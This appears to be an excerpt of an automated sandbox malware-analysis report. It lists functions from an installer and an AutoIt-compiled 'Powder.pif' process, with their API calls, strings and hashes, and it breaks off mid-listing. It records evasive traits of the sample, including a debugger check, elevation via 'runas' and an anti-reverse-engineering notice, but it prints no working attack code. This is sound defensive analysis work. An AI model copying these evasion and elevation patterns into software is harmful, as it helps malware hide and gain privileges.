Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Powder.pifPID: 2696, Parent PID: 2576COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	97

Executed Functions

Function 00C95240 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C9526C
IsDebuggerPresent.KERNEL32 ref: 00C9527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00C952E6

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

Part of subcall function 00C8BBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00C8BC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00C95366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00CD0B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00CD0B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00D36D10), ref: 00CD0BE9
ShellExecuteW.SHELL32(00000000), ref: 00CD0BF0

Part of subcall function 00C9514C: GetSysColorBrush.USER32(0000000F), ref: 00C95156
Part of subcall function 00C9514C: LoadCursorW.USER32(00000000,00007F00), ref: 00C95165
Part of subcall function 00C9514C: LoadIconW.USER32(00000063), ref: 00C9517C
Part of subcall function 00C9514C: LoadIconW.USER32(000000A4), ref: 00C9518E
Part of subcall function 00C9514C: LoadIconW.USER32(000000A2), ref: 00C951A0
Part of subcall function 00C9514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00C951C6
Part of subcall function 00C9514C: RegisterClassExW.USER32(?), ref: 00C9521C

Part of subcall function 00C950DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00C95109
Part of subcall function 00C950DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00C9512A
Part of subcall function 00C950DB: ShowWindow.USER32(00000000), ref: 00C9513E
Part of subcall function 00C950DB: ShowWindow.USER32(00000000), ref: 00C95147

Part of subcall function 00C959D3: _memset.LIBCMT ref: 00C959F9
Part of subcall function 00C959D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00C95A9E

Strings

, xrefs: 00C952EF
runas, xrefs: 00CD0BE4
AutoIt, xrefs: 00CD0B23
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00CD0B28

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: $AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-1967628442
Opcode ID: 4a96982913f9db76026c539d21119eb1c16f0005f95d68f8deeb10fa988aa27d
Instruction ID: a91480c2bc7eff2874ab77dd186fab569408852ed5bf2d98da63d6e95b404a07
Opcode Fuzzy Hash: 4a96982913f9db76026c539d21119eb1c16f0005f95d68f8deeb10fa988aa27d
Instruction Fuzzy Hash: 9251D531A08749AFCF12BBB4DC8AEFD7B78AB06380F144155F551A22A2CBF05645E735

Function 00CE3CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00C92A58,?,00008000), ref: 00CA02A4

Part of subcall function 00CE4FEC: GetFileAttributesW.KERNEL32(?,00CE3BFE), ref: 00CE4FED

FindFirstFileW.KERNEL32(?,?), ref: 00CE3D96
